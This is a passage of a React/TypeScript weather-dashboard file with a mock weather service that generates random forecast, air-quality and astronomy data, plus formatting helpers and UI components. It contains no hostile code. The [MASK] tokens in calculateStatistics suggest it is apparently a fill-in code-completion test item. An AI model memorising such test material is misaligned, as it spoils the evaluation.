  '#ff8042', '#8dd1e1', '#d084d0', '#87d068', '#ffc0cb', '#dda0dd',
  '#98fb98', '#f0e68c', '#ff6347', '#40e0d0', '#ee82ee', '#90ee90'
];

const ANIMATION_VARIANTS = {
  container: {
    hidden: { opacity: 0 },
    visible: {
      opacity: 1,
      transition: {
        delayChildren: 0.3,
        staggerChildren: 0.1
      }
    }
  },
  item: {
    hidden: { y: 20, opacity: 0 },
    visible: {
      y: 0,
      opacity: 1,
      transition: {
        type: ""spring"",
        stiffness: 100,
        damping: 10
      }
    }
  },
  card: {
    hidden: { opacity: 0, scale: 0.8 },
    visible: { 
      opacity: 1, 
      scale: 1,
      transition: {
        type: ""spring"",
        stiffness: 100,
        damping: 15
      }
    },
    hover: { 
      scale: 1.02, 
      y: -5,
      transition: {
        type: ""spring"",
        stiffness: 300,
        damping: 10
      }
    },
    tap: { 
      scale: 0.98,
      transition: {
        type: ""spring"",
        stiffness: 300,
        damping: 10
      }
    }
  },
  modal: {
    hidden: { opacity: 0, scale: 0.8 },
    visible: { 
      opacity: 1, 
      scale: 1,
      transition: {
        type: ""spring"",
        stiffness: 100,
        damping: 15
      }
    },
    exit: { 
      opacity: 0, 
      scale: 0.8,
      transition: {
        duration: 0.2
      }
    }
  }
};

// ==================== ADVANCED WEATHER SERVICE ====================
class AdvancedWeatherService {
  private cache: Map<string, any> = new Map();
  private requestQueue: Array<{ city: string; resolve: Function; reject: Function }> = [];
  private isProcessing = false;
  private rateLimitDelay = 1000; // 1 second between requests
  private retryAttempts = 3;
  private requestTimeout = 10000; // 10 seconds

  constructor() {
    this.initializeService();
  }

  private initializeService() {
    // Initialize service with default configurations
    this.setupErrorHandling();
    this.setupCacheCleanup();
    this.setupNetworkMonitoring();
  }

  private setupErrorHandling() {
    window.addEventListener('unhandledrejection', (event) => {
      console.error('Unhandled promise rejection:', event.reason);
      this.handleError(event.reason);
    });

    window.addEventListener('error', (event) => {
      console.error('Global error:', event.error);
      this.handleError(event.error);
    });
  }

  private setupCacheCleanup() {
    // Clean cache every hour
    setInterval(() => {
      this.cleanupCache();
    }, 60 * 60 * 1000);
  }

  private setupNetworkMonitoring() {
    window.addEventListener('online', () => {
      console.log('Network connection restored');
      this.processRequestQueue();
    });

    window.addEventListener('offline', () => {
      console.log('Network connection lost');
    });
  }

  private handleError(error: any) {
    // Centralized error handling
    console.error('Weather service error:', error);
    
    // Log error to analytics service
    this.logErrorToAnalytics(error);
    
    // Show user-friendly error message
    this.showErrorNotification(error);
  }

  private logErrorToAnalytics(error: any) {
    // Mock analytics logging
    console.log('Logging error to analytics:', error);
  }

  private showErrorNotification(error: any) {
    // Mock notification system
    console.log('Showing error notification:', error);
  }

  private cleanupCache() {
    const maxAge = 60 * 60 * 1000; // 1 hour
    const now = Date.now();
    
    for (const [key, value] of this.cache.entries()) {
      if (now - value.timestamp > maxAge) {
        this.cache.delete(key);
      }
    }
  }

  private async processRequestQueue() {
    if (this.isProcessing || this.requestQueue.length === 0) return;
    
    this.isProcessing = true;
    
    while (this.requestQueue.length > 0) {
      const request = this.requestQueue.shift();
      if (request) {
        try {
          const data = await this.fetchWeatherDataInternal(request.city);
          request.resolve(data);
        } catch (error) {
          request.reject(error);
        }
        
        // Rate limiting
        await new Promise(resolve => setTimeout(resolve, this.rateLimitDelay));
      }
    }
    
    this.isProcessing = false;
  }

  private generateComprehensiveMockData(city: string): ComprehensiveWeatherData {
    const baseTemp = Math.floor(Math.random() * 35) + 5;
    const conditions = ['Sunny', 'Cloudy', 'Rainy', 'Clear', 'Snowy', 'Stormy'];
    const condition = conditions[Math.floor(Math.random() * conditions.length)];
    
    const hourlyData: DetailedHourlyForecast[] = Array.from({ length: 24 }, (_, i) => ({
      time: i,
      datetime: new Date(Date.now() + i * 60 * 60 * 1000),
      temperature: baseTemp + Math.floor(Math.random() * 10) - 5,
      feelsLike: baseTemp + Math.floor(Math.random() * 8) - 4,
      condition: condition,
      description: `${condition} weather with comfortable conditions`,
      icon: condition.toLowerCase(),
      humidity: Math.floor(Math.random() * 40) + 30,
      windSpeed: Math.floor(Math.random() * 20) + 5,
      windDirection: Math.floor(Math.random() * 360),
      windGust: Math.floor(Math.random() * 30) + 10,
      pressure: Math.floor(Math.random() * 50) + 1000,
      visibility: Math.floor(Math.random() * 15) + 5,
      uvIndex: Math.floor(Math.random() * 10) + 1,
      cloudCover: Math.floor(Math.random() * 100),
      dewPoint: baseTemp - Math.floor(Math.random() * 10),
      precipitation: Math.random() * 5,
      precipitationProbability: Math.floor(Math.random() * 100),
      precipitationType: Math.random() > 0.7 ? 'rain' : 'none',
      airQuality: {
        aqi: Math.floor(Math.random() * 300) + 1,
        co: Math.random() * 10,
        no2: Math.random() * 100,
        o3: Math.random() * 200,
        so2: Math.random() * 50,
        pm25: Math.random() * 50,
        pm10: Math.random() * 100
      },
      solarRadiation: Math.random() * 1000,
      moonPhase: Math.random(),
      sunrise: new Date(Date.now() + 6 * 60 * 60 * 1000),
      sunset: new Date(Date.now() + 18 * 60 * 60 * 1000),
      moonrise: new Date(Date.now() + 20 * 60 * 60 * 1000),
      moonset: new Date(Date.now() + 8 * 60 * 60 * 1000),
      weatherAlerts: [],
      comfort: {
        heatIndex: baseTemp + Math.floor(Math.random() * 5),
        windChill: baseTemp - Math.floor(Math.random() * 5),
        discomfortIndex: Math.floor(Math.random() * 10)
      },
      agriculture: {
        soilMoisture: Math.random() * 100,
        evapotranspiration: Math.random() * 10,
        growingDegreeDays: Math.random() * 30
      }
    }));

    const dailyData: ExtendedDailyForecast[] = Array.from({ length: 7 }, (_, i) => ({
      date: new Date(Date.now() + i * 24 * 60 * 60 * 1000),
      dayOfWeek: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'][new Date(Date.now() + i * 24 * 60 * 60 * 1000).getDay()],
      maxTemp: baseTemp + Math.floor(Math.random() * 8),
      minTemp: baseTemp - Math.floor(Math.random() * 8),
      avgTemp: baseTemp,
      condition: condition,
      description: `${condition} weather expected`,
      icon: condition.toLowerCase(),
      humidity: Math.floor(Math.random() * 40) + 30,
      windSpeed: Math.floor(Math.random() * 20) + 5,
      windDirection: Math.floor(Math.random() * 360),
      pressure: Math.floor(Math.random() * 50) + 1000,
      visibility: Math.floor(Math.random() * 15) + 5,
      uvIndex: Math.floor(Math.random() * 10) + 1,
      cloudCover: Math.floor(Math.random() * 100),
      sunrise: new Date(Date.now() + i * 24 * 60 * 60 * 1000 + 6 * 60 * 60 * 1000),
      sunset: new Date(Date.now() + i * 24 * 60 * 60 * 1000 + 18 * 60 * 60 * 1000      ),
      moonPhase: Math.random(),
      precipitation: Math.random() * 5,
      precipitationProbability: Math.floor(Math.random() * 100),
      precipitationType: Math.random() > 0.7 ? 'rain' : 'none',
      hourlyData: hourlyData.slice(i * 3, (i * 3) + 3),
      extremes: {
        maxWindSpeed: Math.floor(Math.random() * 40) + 20,
        minVisibility: Math.floor(Math.random() * 5) + 1,
        maxUvIndex: Math.floor(Math.random() * 5) + 8,
        maxPrecipitation: Math.random() * 10
      },
      comfort: {
        avgHeatIndex: baseTemp + Math.floor(Math.random() * 5),
        avgWindChill: baseTemp - Math.floor(Math.random() * 5),
        comfortRating: Math.floor(Math.random() * 10) + 1
      },
      suitability: {
        outdoor: Math.floor(Math.random() * 10) + 1,
        sports: Math.floor(Math.random() * 10) + 1,
        travel: Math.floor(Math.random() * 10) + 1,
        agriculture: Math.floor(Math.random() * 10) + 1
      }
    }));

    return {
      location: {
        city: city,
        country: 'Mock Country',
        region: 'Mock Region',
        lat: Math.random() * 180 - 90,
        lon: Math.random() * 360 - 180,
        timezone: 'UTC',
        localtime: new Date(),
        utcOffset: Math.floor(Math.random() * 24) - 12
      },
      current: {
        temperature: baseTemp,
        feelsLike: baseTemp + Math.floor(Math.random() * 6) - 3,
        condition: condition,
        description: `Current ${condition.toLowerCase()} conditions`,
        icon: condition.toLowerCase(),
        humidity: Math.floor(Math.random() * 40) + 30,
        windSpeed: Math.floor(Math.random() * 20) + 5,
        windDirection: Math.floor(Math.random() * 360),
        windGust: Math.floor(Math.random() * 30) + 10,
        pressure: Math.floor(Math.random() * 50) + 1000,
        visibility: Math.floor(Math.random() * 15) + 5,
        uvIndex: Math.floor(Math.random() * 10) + 1,
        cloudCover: Math.floor(Math.random() * 100),
        dewPoint: baseTemp - Math.floor(Math.random() * 10),
        precipitation: Math.random() * 5,
        isDay: new Date().getHours() > 6 && new Date().getHours() < 18,
        lastUpdated: new Date()
      },
      forecast: {
        hourly: hourlyData,
        daily: dailyData
      },
      historical: {
        temperature: Array.from({ length: 30 }, (_, i) => ({
          date: new Date(Date.now() - i * 24 * 60 * 60 * 1000),
          value: baseTemp + Math.floor(Math.random() * 10) - 5
        })),
        humidity: Array.from({ length: 30 }, (_, i) => ({
          date: new Date(Date.now() - i * 24 * 60 * 60 * 1000),
          value: Math.floor(Math.random() * 40) + 30
        })),
        pressure: Array.from({ length: 30 }, (_, i) => ({
          date: new Date(Date.now() - i * 24 * 60 * 60 * 1000),
          value: Math.floor(Math.random() * 50) + 1000
        })),
        precipitation: Array.from({ length: 30 }, (_, i) => ({
          date: new Date(Date.now() - i * 24 * 60 * 60 * 1000),
          value: Math.random() * 10
        }))
      },
      statistics: {
        temperature: {
          min: baseTemp - 10,
          max: baseTemp + 10,
          avg: baseTemp,
          median: baseTemp,
          mode: baseTemp,
          stdDev: 5
        },
        humidity: {
          min: 20,
          max: 90,
          avg: 55,
          median: 55,
          mode: 50,
          stdDev: 15
        },
        pressure: {
          min: 980,
          max: 1050,
          avg: 1015,
          median: 1015,
          mode: 1013,
          stdDev: 20
        },
        windSpeed: {
          min: 0,
          max: 50,
          avg: 15,
          median: 12,
          mode: 10,
          stdDev: 8
        }
      },
      airQuality: {
        aqi: Math.floor(Math.random() * 300) + 1,
        category: ['Good', 'Moderate', 'Unhealthy for Sensitive Groups', 'Unhealthy'][Math.floor(Math.random() * 4)],
        dominantPollutant: ['PM2.5', 'PM10', 'O3', 'NO2'][Math.floor(Math.random() * 4)],
        components: {
          co: Math.random() * 10,
          no2: Math.random() * 100,
          o3: Math.random() * 200,
          so2: Math.random() * 50,
          pm25: Math.random() * 50,
          pm10: Math.random() * 100
        },
        forecast: Array.from({ length: 5 }, (_, i) => ({
          date: new Date(Date.now() + i * 24 * 60 * 60 * 1000),
          aqi: Math.floor(Math.random() * 300) + 1,
          category: ['Good', 'Moderate', 'Unhealthy for Sensitive Groups', 'Unhealthy'][Math.floor(Math.random() * 4)],
          components: {
            co: Math.random() * 10,
            no2: Math.random() * 100,
            o3: Math.random() * 200,
            so2: Math.random() * 50,
            pm25: Math.random() * 50,
            pm10: Math.random() * 100
          }
        }))
      },
      astronomy: {
        sunrise: new Date(Date.now() + 6 * 60 * 60 * 1000),
        sunset: new Date(Date.now() + 18 * 60 * 60 * 1000),
        moonrise: new Date(Date.now() + 20 * 60 * 60 * 1000),
        moonset: new Date(Date.now() + 8 * 60 * 60 * 1000),
        moonPhase: Math.random(),
        moonIllumination: Math.random() * 100,
        moonAge: Math.floor(Math.random() * 29),
        moonSign: ['New Moon', 'Waxing Crescent', 'First Quarter', 'Waxing Gibbous', 'Full Moon', 'Waning Gibbous', 'Last Quarter', 'Waning Crescent'][Math.floor(Math.random() * 8)],
        sunPosition: {
          azimuth: Math.random() * 360,
          elevation: Math.random() * 90
        },
        moonPosition: {
          azimuth: Math.random() * 360,
          elevation: Math.random() * 90
        },
        solarNoon: new Date(Date.now() + 12 * 60 * 60 * 1000),
        civilTwilightBegin: new Date(Date.now() + 5.5 * 60 * 60 * 1000),
        civilTwilightEnd: new Date(Date.now() + 18.5 * 60 * 60 * 1000),
        nauticalTwilightBegin: new Date(Date.now() + 5 * 60 * 60 * 1000),
        nauticalTwilightEnd: new Date(Date.now() + 19 * 60 * 60 * 1000),
        astronomicalTwilightBegin: new Date(Date.now() + 4.5 * 60 * 60 * 1000),
        astronomicalTwilightEnd: new Date(Date.now() + 19.5 * 60 * 60 * 1000),
        dayLength: 12 * 60 * 60,
        nightLength: 12 * 60 * 60
      },
      marine: {
        seaTemperature: baseTemp + Math.floor(Math.random() * 5) - 2,
        waveHeight: Math.random() * 5,
        waveDirection: Math.floor(Math.random() * 360),
        wavePeriod: Math.random() * 20 + 5,
        swellHeight: Math.random() * 3,
        swellDirection: Math.floor(Math.random() * 360),
        swellPeriod: Math.random() * 15 + 5,
        tideHeight: Math.random() * 6,
        tideDirection: Math.random() > 0.5 ? 'rising' : 'falling',
        nextHighTide: new Date(Date.now() + 6 * 60 * 60 * 1000),
        nextLowTide: new Date(Date.now() + 12 * 60 * 60 * 1000),
        visibility: Math.floor(Math.random() * 15) + 5,
        currentSpeed: Math.random() * 5,
        currentDirection: Math.floor(Math.random() * 360)
      },
      agriculture: {
        soilTemperature: baseTemp + Math.floor(Math.random() * 5) - 2,
        soilMoisture: Math.random() * 100,
        evapotranspiration: Math.random() * 10,
        growingDegreeDays: Math.random() * 30,
        chillHours: Math.random() * 1000,
        leafWetness: Math.random() * 100,
        frostProbability: Math.random() * 100,
        heatStress: Math.random() * 10,
        recommendations: [
          'Optimal conditions for planting',
          'Monitor soil moisture levels',
          'Consider irrigation scheduling',
          'Watch for pest activity'
        ]
      },
      health: {
        heatIndex: baseTemp + Math.floor(Math.random() * 10),
        windChill: baseTemp - Math.floor(Math.random() * 10),
        discomfortIndex: Math.floor(Math.random() * 10),
        airQualityHealth: ['Good', 'Moderate', 'Unhealthy for Sensitive Groups'][Math.floor(Math.random() * 3)],
        uvExposure: ['Low', 'Moderate', 'High', 'Very High'][Math.floor(Math.random() * 4)],
        pollenForecast: {
          tree: Math.floor(Math.random() * 10),
          grass: Math.floor(Math.random() * 10),
          weed: Math.floor(Math.random() * 10),
          mold: Math.floor(Math.random() * 10),
          overall: Math.floor(Math.random() * 10)
        },
        recommendations: [
          'Stay hydrated',
          'Use sunscreen',
          'Limit outdoor activities during peak hours',
          'Monitor air quality'
        ]
      },
      energy: {
        solarPotential: Math.random() * 100,
        windPotential: Math.random() * 100,
        heatingDegreeDays: Math.max(0, 18 - baseTemp),
        coolingDegreeDays: Math.max(0, baseTemp - 18),
        energyConsumptionForecast: {
          heating: Math.random() * 100,
          cooling: Math.random() * 100,
          lighting: Math.random() * 100,
          overall: Math.random() * 100
        }
      },
      transportation: {
        roadConditions: ['Excellent', 'Good', 'Fair', 'Poor'][Math.floor(Math.random() * 4)],
        visibility: Math.floor(Math.random() * 15) + 5,
        windImpact: ['None', 'Low', 'Moderate', 'High'][Math.floor(Math.random() * 4)],
        precipitationImpact: ['None', 'Low', 'Moderate', 'High'][Math.floor(Math.random() * 4)],
        temperatureImpact: ['None', 'Low', 'Moderate', 'High'][Math.floor(Math.random() * 4)],
        drivingDifficulty: Math.floor(Math.random() * 10),
        flightDelayProbability: Math.random() * 100,
        marineConditions: ['Calm', 'Moderate', 'Rough'][Math.floor(Math.random() * 3)],
        recommendations: [
          'Normal driving conditions',
          'Check road conditions before travel',
          'Allow extra time for journey'
        ]
      },
      recreation: {
        beachConditions: ['Excellent', 'Good', 'Fair', 'Poor'][Math.floor(Math.random() * 4)],
        skiConditions: ['Powder', 'Fresh', 'Packed', 'Icy'][Math.floor(Math.random() * 4)],
        hikingConditions: ['Excellent', 'Good', 'Fair', 'Poor'][Math.floor(Math.random() * 4)],
        campingConditions: ['Excellent', 'Good', 'Fair', 'Poor'][Math.floor(Math.random() * 4)],
        golfConditions: ['Excellent', 'Good', 'Fair', 'Poor'][Math.floor(Math.random() * 4)],
        outdoorComfort: Math.floor(Math.random() * 10),
        suitability: {
          beach: Math.floor(Math.random() * 10),
          hiking: Math.floor(Math.random() * 10),
          camping: Math.floor(Math.random() * 10),
          golf: Math.floor(Math.random() * 10),
          cycling: Math.floor(Math.random() * 10),
          running: Math.floor(Math.random() * 10),
          picnic: Math.floor(Math.random() * 10),
          festivals: Math.floor(Math.random() * 10)
        }
      },
      alerts: [],
      trends: {
        temperature: ['rising', 'falling', 'stable'][Math.floor(Math.random() * 3)] as 'rising' | 'falling' | 'stable',
        pressure: ['rising', 'falling', 'stable'][Math.floor(Math.random() * 3)] as 'rising' | 'falling' | 'stable',
        humidity: ['rising', 'falling', 'stable'][Math.floor(Math.random() * 3)] as 'rising' | 'falling' | 'stable',
        windSpeed: ['increasing', 'decreasing', 'stable'][Math.floor(Math.random() * 3)] as 'increasing' | 'decreasing' | 'stable',
        conditions: ['improving', 'deteriorating', 'stable'][Math.floor(Math.random() * 3)] as 'improving' | 'deteriorating' | 'stable'
      },
      confidence: {
        temperature: Math.random() * 100,
        precipitation: Math.random() * 100,
        windSpeed: Math.random() * 100,
        overall: Math.random() * 100
      },
      metadata: {
        provider: 'Advanced Weather Service',
        model: 'GFS',
        resolution: '0.25°',
        updateFrequency: '6 hours',
        lastUpdate: new Date(),
        nextUpdate: new Date(Date.now() + 6 * 60 * 60 * 1000),
        dataQuality: Math.random() * 100,
        coverage: 'Global',
        accuracy: {
          temperature: Math.random() * 100,
          precipitation: Math.random() * 100,
          windSpeed: Math.random() * 100,
          humidity: Math.random() * 100
        }
      }
    };
  }

  private async fetchWeatherDataInternal(city: string): Promise<ComprehensiveWeatherData> {
    // Check cache first
    const cacheKey = `weather_${city}`;
    const cached = this.cache.get(cacheKey);
    if (cached && Date.now() - cached.timestamp < 30 * 60 * 1000) { // 30 minutes cache
      return cached.data;
    }

    // Simulate network delay
    await new Promise(resolve => setTimeout(resolve, Math.random() * 2000 + 500));

    // Generate comprehensive mock data
    const data = this.generateComprehensiveMockData(city);

    // Cache the result
    this.cache.set(cacheKey, {
      data,
      timestamp: Date.now()
    });

    return data;
  }

  async getWeatherData(city: string): Promise<ComprehensiveWeatherData> {
    return new Promise((resolve, reject) => {
      // Add to request queue
      this.requestQueue.push({ city, resolve, reject });
      this.processRequestQueue();
    });
  }

  async getBatchWeatherData(cities: string[]): Promise<{ [city: string]: ComprehensiveWeatherData }> {
    const promises = cities.map(city => this.getWeatherData(city));
    const results = await Promise.allSettled(promises);
    
    const weatherData: { [city: string]: ComprehensiveWeatherData } = {};
    results.forEach((result, index) => {
      if (result.status === 'fulfilled') {
        weatherData[cities[index]] = result.value;
      }
    });
    
    return weatherData;
  }

  getCacheStats() {
    return {
      size: this.cache.size,
      entries: Array.from(this.cache.keys())
    };
  }

  clearCache() {
    this.cache.clear();
  }
}

// ==================== UTILITY FUNCTIONS ====================
const getFlagEmoji = (countryCode: string): string => {
  return EXPANDED_FLAG_EMOJIS[countryCode] || '🌍';
};

const getWeatherIcon = (condition: string) => {
  const conditionData = WEATHER_CONDITIONS[condition.toLowerCase() as keyof typeof WEATHER_CONDITIONS];
  if (conditionData) {
    const IconComponent = conditionData.icon;
    return <IconComponent className={`w-8 h-8 ${conditionData.color}`} />;
  }
  return <Sun className=""w-8 h-8 text-yellow-400"" />;
};

const formatTemperature = (temp: number, unit: 'celsius' | 'fahrenheit' | 'kelvin' = 'celsius'): string => {
  switch (unit) {
    case 'fahrenheit':
      return `${Math.round(temp * 9/5 + 32)}°F`;
    case 'kelvin':
      return `${Math.round(temp + 273.15)}K`;
    default:
      return `${Math.round(temp)}°C`;
  }
};

const formatTime = (date: Date, format: '12h' | '24h' = '24h'): string => {
  if (format === '12h') {
    return date.toLocaleTimeString('en-US', { 
      hour: 'numeric', 
      minute: '2-digit',
      hour12: true 
    });
  }
  return date.toLocaleTimeString('en-US', { 
    hour: '2-digit', 
    minute: '2-digit',
    hour12: false 
  });
};

const formatDate = (date: Date, format: 'dd/mm/yyyy' | 'mm/dd/yyyy' | 'yyyy-mm-dd' = 'dd/mm/yyyy'): string => {
  const day = date.getDate().toString().padStart(2, '0');
  const month = (date.getMonth() + 1).toString().padStart(2, '0');
  const year = date.getFullYear();

  switch (format) {
    case 'mm/dd/yyyy':
      return `${month}/${day}/${year}`;
    case 'yyyy-mm-dd':
      return `${year}-${month}-${day}`;
    default:
      return `${day}/${month}/${year}`;
  }
};

const calculateWindDirection = (degrees: number): string => {
  const directions = ['N', 'NNE', 'NE', 'ENE', 'E', 'ESE', 'SE', 'SSE', 'S', 'SSW', 'SW', 'WSW', 'W', 'WNW', 'NW', 'NNW'];
  const index = Math.round(degrees / 22.5) % 16;
  return directions[index];
};

const getAirQualityColor = (aqi: number): string => {
  if (aqi <= 50) return 'text-green-400';
  if (aqi <= 100) return 'text-yellow-400';
  if (aqi <= 150) return 'text-orange-400';
  if (aqi <= 200) return 'text-red-400';
  if (aqi <= 300) return 'text-purple-400';
  return 'text-red-600';
};

const getUVIndexColor = (uvIndex: number): string => {
  if (uvIndex <= 2) return 'text-green-400';
  if (uvIndex <= 5) return 'text-yellow-400';
  if (uvIndex <= 7) return 'text-orange-400';
  if (uvIndex <= 10) return 'text-red-400';
  return 'text-purple-400';
};

const calculateStatistics = ( [MASK] : number[]) => {
  const sorted = [... [MASK] ].sort((a, b) => a - b);
  const sum =  [MASK] .reduce((acc, val) => acc + val, 0);
  const mean = sum /  [MASK] .length;
  
  return {
    min: Math.min(... [MASK] ),
    max: Math.max(... [MASK] ),
    avg: mean,
    median: sorted.length % 2 === 0 
      ? (sorted[sorted.length / 2 - 1] + sorted[sorted.length / 2]) / 2
      : sorted[Math.floor(sorted.length / 2)],
    sum,
    count:  [MASK] .length,
    stdDev: Math.sqrt( [MASK] .reduce((acc, val) => acc + Math.pow(val - mean, 2), 0) /  [MASK] .length)
  };
};

// ==================== ADVANCED COMPONENTS ====================

// Enhanced Loading Spinner with multiple states
const AdvancedLoadingSpinner: React.FC<{
  size?: 'small' | 'medium' | 'large';
  type?: 'spinner' | 'dots' | 'bars' | 'pulse';
  color?: string;
  message?: string;
}> = ({ 
  size = 'medium', 
  type = 'spinner', 
  color = 'white', 
  message = 'Loading...' 
}) => {
  const sizeClasses = {
    small: 'w-8 h-8',
    medium: 'w-16 h-16',
    large: 'w-24 h-24'
  };

  const renderSpinner = () => {
    switch (type) {
      case 'dots':
        return (
          <div className=""flex space-x-2"">
            {[0, 1, 2].map(i => (
              <motion.div
                key={i}
                className={`w-3 h-3 bg-${color} rounded-full`}
                animate={{
                  scale: [1, 1.2, 1],
                  opacity: [0.7, 1, 0.7]
                }}
                transition={{
                  duration: 1,
                  repeat: Infinity,
                  delay: i * 0.2
                }}
              />
            ))}
          </div>
        );
      
      case 'bars':
        return (
          <div className=""flex space-x-1 items-end"">
            {[0, 1, 2, 3, 4].map(i => (
              <motion.div
                key={i}
                className={`w-2 bg-${color}`}
                animate={{
                  height: [20, 40, 20]
                }}
                transition={{
                  duration: 1,
                  repeat: Infinity,
                  delay: i * 0.1
                }}
              />
            ))}
          </div>
        );

      case 'pulse':
        return (
          <motion.div
            className={`${sizeClasses[size]} bg-${color} rounded-full`}
            animate={{
              scale: [1, 1.2, 1],
              opacity: [0.7, 1, 0.7]
            }}
            transition={{
              duration: 2,
              repeat: Infinity
            }}
          />
        );

      default:
        return (
          <motion.div
            className={`${sizeClasses[size]} border-4 border-${color}/20 border-t-${color} rounded-full`}
            animate={{ rotate: 360 }}
            transition={{ duration: 1, repeat: Infinity, ease: ""linear"" }}
          />
        );
    }
  };

  return (
    <div className=""flex flex-col items-center justify-center py-12 space-y-4"">
      {renderSpinner()}
      {message && (
        <motion.p 
          className={`text-${color} text-sm font-medium`}
          animate={{ opacity: [0.5, 1, 0.5] }}
          transition={{ duration: 2, repeat: Infinity }}
        >
          {message}
        </motion.p>
      )}
    </div>
  );
};

// Enhanced Search Bar with autocomplete and suggestions
const AdvancedSearchBar: React.FC<{
  value: string;
  onChange: (value: string) => void;
  onSelect?: (value: string) => void;
  placeholder: string;
  suggestions?: string[];
  showHistory?: boolean;
  history?: string[];
  className?: string;
}> = ({ 
  value, 
  onChange, 
  onSelect, 
  placeholder, 
  suggestions = [], 
  showHistory = false,
  history = [],
  className = '' 
}) => {
  const [isOpen, setIsOpen] = useState(false);
  const [filteredSuggestions, setFilteredSuggestions] = useState<string[]>([]);
  const searchRef = useRef<HTMLDivElement>(null);

  useEffect(() => {
    const filtered = suggestions.filter(suggestion =>
      suggestion.toLowerCase().includes(value.toLowerCase())
    ).slice(0, 5);
    setFilteredSuggestions(filtered);
  }, [value, suggestions]);

  useEffect(() => {
    const handleClickOutside = (event: MouseEvent) => {
      if (searchRef.current && !searchRef.current.contains(event.target as Node)) {
        setIsOpen(false);
      }
    };

    document.addEventListener('mousedown', handleClickOutside);
    return () => document.removeEventListener('mousedown', handleClickOutside);
  }, []);

  const handleSelect = (selectedValue: string) => {
    onChange(selectedValue);
    onSelect?.(selectedValue);
    setIsOpen(false);
  };

  return (
    <div ref={searchRef} className={`relative ${className}`}>
      <div className=""relative"">
        <Search className=""absolute left-3 top-1/2 transform -translate-y-1/2 text-white/60 w-5 h-5"" />
        <input
          type=""text""
          value={value}
          onChange={(e) => onChange(e.target.value)}
          onFocus={() => setIsOpen(true)}
          placeholder={placeholder}
          className=""w-full pl-10 pr-10 py-3 bg-white/10 border border-white/20 rounded-xl text-white placeholder-white/60 focus:outline-none focus:ring-2 focus:ring-blue-500 transition-all duration-200""
        />
        {value && (
          <button
            onClick={() => onChange('')}
            className=""absolute right-3 top-1/2 transform -translate-y-1/2 text-white/60 hover:text-white transition-colors""
          >
            <X className=""w-5 h-5"" />
          </button>
        )}
      </div>

      <AnimatePresence>
        {isOpen && (filteredSuggestions.length > 0 || (showHistory && history.length > 0)) && (
          <motion.div
            initial={{ opacity: 0, y: -10 }}
            animate={{ opacity: 1, y: 0 }}
            exit={{ opacity: 0, y: -10 }}
            className=""absolute top-full left-0 right-0 mt-2 bg-white/10 backdrop-blur-lg border border-white/20 rounded-xl shadow-xl z-50 max-h-60 overflow-y-auto""
          >
            {filteredSuggestions.length > 0 && (
              <div className=""p-2"">
                <div className=""text-xs text-white/60 px-3 py-2 font-semibold"">Suggestions</div>
                {filteredSuggestions.map((suggestion, index) => (
                  <button
                    key={index}
                    onClick={() => handleSelect(suggestion)}
                    className=""w-full text-left px-3 py-2 text-white hover:bg-white/10 rounded-lg transition-colors flex items-center gap-2""
                  >
                    <Search className=""w-4 h-4 text-white/40"" />
                    {suggestion}
                  </button>
                ))}
              </div>
            )}
            
            {showHistory && history.length > 0 && (
              <div className=""p-2 border-t border-white/10"">
                <div className=""text-xs text-white/60 px-3 py-2 font-semibold"">Recent Searches</div>
                {history.slice(0, 3).map((item, index) => (
                  <button
                    key={index}
                    onClick={() => handleSelect(item)}
                    className=""w-full text-left px-3 py-2 text-white hover:bg-white/10 rounded-lg transition-colors flex items-center gap-2""
                  >
                    <Clock className=""w-4 h-4 text-white/40"" />
                    {item}
                  </button>
                ))}
              </div>
            )}
          </motion.div>
        )}
      </AnimatePresence>
    </div>
  );
};

// Advanced Mini Chart with multiple chart types
const AdvancedMiniChart: React.FC<{
  data: any[];
  type?: 'area' | 'line' | 'bar';
  color?: string;
  height?: number;
  showAxis?: boolean;
  showTooltip?: boolean;
  dataKey: string;
  xDataKey?: string;
}> = ({ 
  data, 
  type = 'area', 
  color = '#60a5fa', 
  height = 80,
  showAxis = false,
  showTooltip = true,
  dataKey,
  xDataKey = 'time'
}) => {
  const ChartComponent = type === 'bar' ? BarChart : type === 'line' ? RechartsLineChart : AreaChart;

  return (
    <div style={{ height }}>
      <ResponsiveContainer width=""100%"" height=""100%"">
        <ChartComponent data={data}>
          {showAxis && <XAxis dataKey={xDataKey} hide />}
          {showAxis && <YAxis hide />}
          {showTooltip && (
            <Tooltip
              contentStyle={{
                backgroundColor: 'rgba(0,0,0,0.8)',
                border: 'none',
                borderRadius: '8px',
                color: 'white',
                fontSize: '12px'
              }}
            />
          )}
          
          {type === 'area' && (
            <>
              <Area
                type=""monotone""
                dataKey={dataKey}
                stroke={color}
                fill={`url(#gradient-${dataKey})`}
                strokeWidth={2}
              />
              <defs>
                <linearGradient id={`gradient-${dataKey}`} x1=""0"" y1=""0"" x2=""0"" y2=""1"">
                  <stop offset=""5%"" stopColor={color} stopOpacity={0.8} />
                  <stop offset=""95%"" stopColor={color} stopOpacity={0} />
                </linearGradient>
              </defs>
            </>
          )}
          
          {type === 'line' && (
            <Line
              type=""monotone""
              dataKey={dataKey}
              stroke={color}
              strokeWidth={2}
              dot={false}
            />
          )}
          
          {type === 'bar' && (
            <Bar
              dataKey={dataKey}
              fill={color}
              radius={[2, 2, 0, 0]}
            />
          )}
        </ChartComponent>
      </ResponsiveContainer>
    </div>
  );
};

// Enhanced Weather Card with detailed information
const DetailedWeatherCard: React.FC<{
  country: Country;
  weatherData: ComprehensiveWeatherData;
  onRemove: () => void;
  onExpand?: () => void;
  viewMode: 'grid' | 'list';
  showDetails?: boolean;
  preferences: WeatherPreferences;
}> = ({ 
  country, 
  weatherData, 
  onRemove, 
  onExpand,
  viewMode, 
  showDetails = false,
  preferences 
}) => {
  const [isExpanded, setIsExpanded] = useState(false);
  const [activeTab, setActiveTab] = useState<'current' | 'forecast' | 'details'>('current');

  if (!weatherData) return null;

  const { current, forecast, airQuality, astronomy } = weatherData;

  return (
    <motion.div
      className={`relative bg-white/10 backdrop-blur-lg rounded-2xl border border-white/20 shadow-xl overflow-hidden ${
        viewMode === 'list' ? 'flex items-center gap-6' : ''
      } ${isExpanded ? 'col-span-2 row-span-2' : ''}`}
      variants={ANIMATION_VARIANTS.card}
      initial=""hidden""
      animate=""visible""
      whileHover=""hover""
      whileTap=""tap""
      layout
    >
      {/* Header Controls */}
      <div className=""absolute top-2 right-2 flex gap-2 z-10"">
        <button
          onClick={() => setIsExpanded(!isExpanded)}
          className=""w-8 h-8 bg-blue-500/20 hover:bg-blue-500/40 rounded-full flex items-center justify-center text-white transition-colors""
        >
